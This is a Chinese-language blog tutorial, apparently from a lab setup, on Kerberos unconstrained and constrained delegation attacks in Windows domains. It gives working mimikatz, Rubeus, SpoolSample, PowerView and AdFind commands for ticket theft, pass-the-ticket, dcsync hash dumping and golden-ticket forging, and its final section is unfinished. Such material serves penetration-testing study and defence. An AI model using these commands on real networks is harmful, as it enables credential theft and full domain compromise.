HacKerQWQ的博客空间

内网渗透之非约束委派攻击&约束委派攻击

Word count: 2.3kReading time: 9 min
2021/09/21 Share

前置知识

概述

域委派是指将域内用户的权限委派给服务账号主机用户账号,使得服务账号能以用户的权限在域内展开活动,

委派分为三类:

  • 非约束委派(Unconstrained delegation)
  • 约束委派(Constrained delegation)
  • 基于资源的约束委派(Resource Based Constrained Delegation)

主要还是充分发挥windows的权限控制,假设用户A利用自己的身份可以访问到一个网站B,请求网站的资源C,但是网站B上边本身没有资源C,那么网站B就需要用用户A的身份去访问另外一台机器去获取资源C再给到用户

非约束委派

原理

用户A去访问服务B,服务B的服务账户开启了非约束委派,那么当用户A访问服务B的时候会将用户A的TGT发送给服务B并保存进内存,服务B能够利用用户A的身份去访问用户A能够访问的任意服务

20200206130430-2805d11a-489e-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1、用户机器向KDC(密钥分发中心)发送消息请求可转发的TGT1(认证票据)
2、KDC在消息中给返回TGT1(访问服务1使用)
3、用户通过TGT1请求转发TGT2(访问服务2使用)
4、KDC返回消息TGT2
5、用户使用TGT1向KDC申请访问服务1
6、TGS(票据发放服务)返回ST(服务票据)
7、用户发送AP_REQ请求服务1,包含了TGT1、TGT2、TGT2的sessionkey
8、服务1使用用户发送过来的TGT2请求KDC,并以用户身份请求服务2的ST
9、KDC返回服务2的ST到服务1,这里ST将来源请求标记为用户机器,而不是服务1
10、服务1以用户名义请求服务2
11、服务2回应服务2请求
12、服务1回应用户机器请求
13、服务1能够向KDC请求其他服务ST
14、KDC返回其他服务ST
15、服务1用用户名义请求其他服务
16、其他服务回应服务1

实际操作

将HACKERQWQ-PC主机用户设置为非约束委派

image-20210921101218505

  • 当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

使用微软自带ADSI编辑器adsiedit.msc查看LDAP目录树

image-20210921101845972

约束委派

因为非约束委派的不安全性,约束委派应运而生。在2003之后微软引入了非约束委派,对Kerberos引入S4U,包含了两个子协议S4U2selfS4U2proxyS4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST),S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围

1
2
3
4
5
6
7
8
9
10
11
1、用户向service1发出请求,用户已通过身份验证,但service1没有用户的授权数据,通常这是由于身份验证是通过Kerberos以外的其他方式验证的
2、通过S4U2self以用户的名义向KDC请求用于访问service1的ST1
3、KDC返回给service1一个用于用户验证service1的ST1
4、service1可以使用ST中的授权数据来满足用户的请求,然后响应用户
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了
5、用户向service1发出请求,service1需要以用户身份访问service2的ST2
6、service1以用户的名义向KDC请求用户访问service2的ST2
7、如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC,如果PAC不存在,则KDC返回ST2给service1
8、service1使用st2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证
9、service2响应步上一步请求
10、service1响应用户对自己的请求

20200207103902-002e844c-4953-1

实际操作

将HACKERQWQ-PC用户设置为约束委派

image-20210921102340682

  • 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务

userAccountControl含有授权的字段

image-20210921102522472

msDS-AllowedToDelegateTo含有委派的服务

image-20210921102704501

非约束委派攻击

非约束委派攻击原理

前面提过,非约束委派的原理是:

用户A去访问服务B,服务B的服务账户开启了非约束委派,那么当用户A访问服务B的时候会将用户A的TGT发送给服务B并保存进内存,服务B能够利用用户A的身份去访问用户A能够访问的任意服务。

因此如果我们的可控主机B是域内非约束委派的主机,当域控或者其他主机通过kerberos协议访问我们的机器的时候,就会在内存留下TGT票据,我们可以通过TGT票据来访问该主机可以访问的任意服务。

服务列表:

image-20210921103512738

非约束委派攻击实现

拓扑图

image-20210921103954631

查找非约束委派

过滤条件

1
2
3
4
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))
#查询域内配置非约束委派的服务用户
(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))
#查询域内配置为约束委派的主机用户
  1. ldapsearch(kali自带)

    一般用于域外查询

    1
    2
    3
    4
    ldapsearch -x -H ldap://192.168.2.2:389 -D "CN=hhh,CN=Users,DC=pentest,DC=com" -w password -b "DC=pentest,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
    #查询非约束委派的服务用户
    ldapsearch -x -H ldap://192.168.2.2:389 -D "CN=hhh,CN=Users,DC=pentest,DC=com" -w password -b "DC=pentest,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
    #查询非约束委派的主机用户

    image-20210921110032083

  2. AdFind

    使用参数

    1
    AdFind [switches] [-b basedn] [-f filter] [attr list]

    参数说明:

    • -b:指定要查询的根节点
    • -f:LDAP过滤条件
    • attr list:需要显示的属性
    1
    2
    3
    4
    AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    #查询服务用户
    AdFind.exe -b "DC=pentest,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    #查询主机用户

    image-20210921110442896

  3. PowerView

    1
    2
    3
    4
    5
    Get-NetUser -Unconstrained -Domain qiyou.com |select name
    #查询域内非约束委派用户
    Get-NetComputer -Unconstrained -Domain pentest.com
    #查询域内非约束委派主机
    Get-NetComputer -Unconstrained -Domain pentest.com

    image-20210921110707606

利用

HackerQWQ-PC主机用户设置了非约束委派,此时只需要域控JC-DC在HackerQWQ-PC进行认证,内存留下TGT凭据,就能造成非约束委派攻击

首先清空票据,尝试用cifs连接jc-dc

1
2
3
mimikatz # kerberos::purge
mimikatz # exit
dir \\jc-dc\c$

image-20210921111100124

当前内存中没有票据,不能通过cifs服务访问域控的共享目录

这里域控使用winrm连接HackerQWQ-PC,常见的链接方式还有MSSQL和IIS

  • winrm需要使用Enable-PSRemoting打开

命令:

1
Enter-PSSession -ComputerName 计算机名

image-20210921111348395

连接成功

接下来在HackerQWQ-PC查看内存中的票据

1
2
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

image-20210921111833205

成功提取出了域控Administrator的票据

将票据注入内存

1
mimikatz # kerberos::ptt [0;f6795]-2-0-60a00000-Administrator@krbtgt-PENTEST.COM.kirbi

之后再尝试通过cifs连接域控

image-20210921112123332

成功造成非约束委派攻击

非约束委派+Spooler打印机服务

由于单单的非约束委派太被动,需要等管理员来连接,因此tifkin_enigma0x3harmj0yDerbyCon 2018提出用Spooler打印机程序来强制对方主机连接被委派的主机达到非约束委派攻击的目的

工具链接:(SpoolSample)[https://github.com/leechristensen/SpoolSample]

  • 默认Print Spooler程序自动运行

image-20210922215543785

攻击方式

拓扑图

image-20210922222853126

思路:win7-1是发现的被委派的主机用户,此时使用SpoolSample.exe程序强制win2012在win7-1上进行验证,留下tgt,然后win7-1通过导入tgt就能实现对域控的访问

  1. 清空win7-1上的票据

    1
    2
    mimikatz # privilege::debug
    mimikatz # kerberos::purge
  2. 使用SpoolSample.exe程序强制认证

    1
    2
    SpoolSample.exe target server
    SpoolSample.exe dc win7-1

    本地失败,实战再用

    image-20210922223344779

  3. 获取票据注入内存

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    后续用Rubeus来监听事件id为4624的事件,可以第一事件截取到域控的TGT,监听来自域控OWA2013的登录
    Rubeus.exe monitor /interval:1 /filteruser:OWA2013$

    后续再Rubeus导入base64的票据直接注入进内存
    Rubeus.exe ptt /ticket:base64
    用mimikatz也可
    privilege::debug
    sekurlsa::tickets /export

    导入票据后ptt即可
    kerberos::ptt XXX.kirbi
  4. 使用dcsync导出域控中的所有用户的hash值,生成黄金票据

    1
    lsadump::dcsync /domain:rootkit.org /all /csv

    20200211002107-57633dd6-4c21-1

    得到krbtgt用户的hash之后生成一张administrator的黄金票据

    1
    kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-662417213-3583657854-423750704 /krbtgt:683545df56ea57b168d0ad090e209616 /ptt

    然后就可以用administrator的身份登录域控

    20200211004433-9d945bd4-4c24-1

    也可以用WinRM服务远程连接域控

    1
    Enter-PSSession -ComputerName dc

约束委派攻击

约束委派攻击的原理

被约束委派的主机用户通过模拟任意用户访问被委派的服务

前提:能获取到服务用户的明文密码或Hash值

约束委派攻击实操

拓扑图

image-20210922225008777

步骤

  1. 设置spn从而使普通用户变为服务用户可进行委派
1
2
setspn -s service/name hostname
setspn -A MSSQLSvc/HackerQWQ.redteam.org HackerQWQ

​ 更多spn操作参考官网

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731241(v=ws.11)?redirectedfrom=MSDN#adding-spns

  1. 设置好win7-1对dc的cifs的委派

image-20210922232440305

3.

CATALOG
  1. 1. 前置知识
    1. 1.1. 概述
    2. 1.2. 非约束委派
      1. 1.2.1. 原理
      2. 1.2.2. 实际操作
    3. 1.3. 约束委派
      1. 1.3.1. 实际操作
  2. 2. 非约束委派攻击
    1. 2.1. 非约束委派攻击原理
    2. 2.2. 非约束委派攻击实现
      1. 2.2.1. 拓扑图
      2. 2.2.2. 查找非约束委派
        1. 2.2.2.1. AdFind
      3. 2.2.3. 利用
      4. 2.2.4. 非约束委派+Spooler打印机服务
      5. 2.2.5. 攻击方式
  3. 3. 约束委派攻击
    1. 3.1. 约束委派攻击实操
      1. 3.1.1. 拓扑图
      2. 3.1.2. 步骤